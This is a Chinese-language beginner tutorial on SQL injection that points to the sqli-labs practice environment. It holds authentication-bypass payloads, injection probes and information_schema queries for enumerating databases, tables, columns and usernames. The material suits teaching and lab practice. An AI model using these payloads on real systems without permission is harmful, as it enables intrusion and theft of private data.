這裏先推薦一下適合SQL注入入門的資源:
- sqli-labs環境搭建:
https://github.com/Audi-1/sqli-labs - MySQL注入天書(推薦):
http://www.cnblogs.com/lcamry/category/846064.html - 視頻:
http://www.youtube.com/playlist?list=PLkiAz1NPnw8qEgzS7cgVMKavvOAdogsro
首先,需要先學習一下SQL語句,至少知道怎麼用。具體可以參考w3school。
其次,需要了解各種各種數據庫的結構。例如mysql數據庫,有information_schema庫,庫裏有schemata,tables,columns表,表裏還有各種字段。
一些關鍵點(以mysql數據庫爲例子):
連接函數
concat(str1,str2,...)——沒有分隔符地連接字符串
concat_ws(separator,str1,str2,...)——含有分隔符地連接字符串
group_concat(str1,str2,...)——連接一個組的所有字符串,並以逗號分隔每一條數據
數據庫結構
庫:information_schema
表:schemata,tables,columns
字段:table_schema,tabe_name,column
常用函數
version()-MySQL版本
user()-數據庫用戶名
database()-數據庫名
@@datadir-數據庫路徑
@@version_compile_os-操作系統版本
邏輯運算
and,or
接下來是原理,也是SQL注入最核心的地方。
原理:當參數可控的情況下,將sql語句注入到參數(符合語法規則),讓服務器端執行一些我們想要執行的語句,返回數據庫的私密信息。
下面代碼是一個簡單的SQL注入點:
id=_GET['id'];
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
可以看到,當輸入的參數$id爲代碼的時候就會使得sql語句改變原來的邏輯。
SQL注入分類:
聯合查詢的類型
基於錯誤的SQL注入
基於布爾SQL盲注
基於時間的SQL盲注
基於報錯的SQL盲注
堆查詢注射
二次注入
cookie注入
referer注入
寬字節注入
......
一般的注入過程:
1.尋找注入點
一般的SQL注入測試語句:
PS: --可以用#替換,url提交過程中url編碼後的#爲%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+
get注入:
添加單引號報錯
and 1=1正常 and 1=2不正常
10-0正常 10-1不正常(參數爲整型)
post注入:
基本與get類似
萬能密碼使用上述測試語句
搜索框注入:
1 搜索keywords',如果出錯的話,有90%的可能性存在漏洞;
2 搜索keywords%,如果同樣出錯的話,就有95%的可能性存在漏洞;
3 搜索keywords%'and 1=1 and '%'='(這個語句的功能就相當於普通SQL注入的 and 1=1)
4 搜索keywords%'and 1=2 and '%'='(這個語句的功能就相當於普通SQL注入的 and 1=2)
5 根據兩次的返回情況來判斷是不是搜索型文本框注入了
2.爆數據庫
爆當前數據庫:
select database()
爆單個數據庫:
select schema_name from information_schema.schemata limit n,1
爆所有數據庫:
select group_concat(schema_name) from information_schema.schemata
3.爆數據表(此時的庫以security爲例)
爆某庫單個表:
select table_name from information_schema.tables where table_schema='security' limit n,1
爆某庫所有表:
select group_concat(table_name) from information_schema.tables where table_schema='security'
4.爆字段(此時的表以users爲例)
爆某個表單個字段:
select column_name from information_schema.columns where table_name='users' limit n,1
爆某個表所有字段:
select group_concat(column_name) from information_schema.columns where table_name='users'
5.爆數據項(以username爲例)
select group_concat(username) from users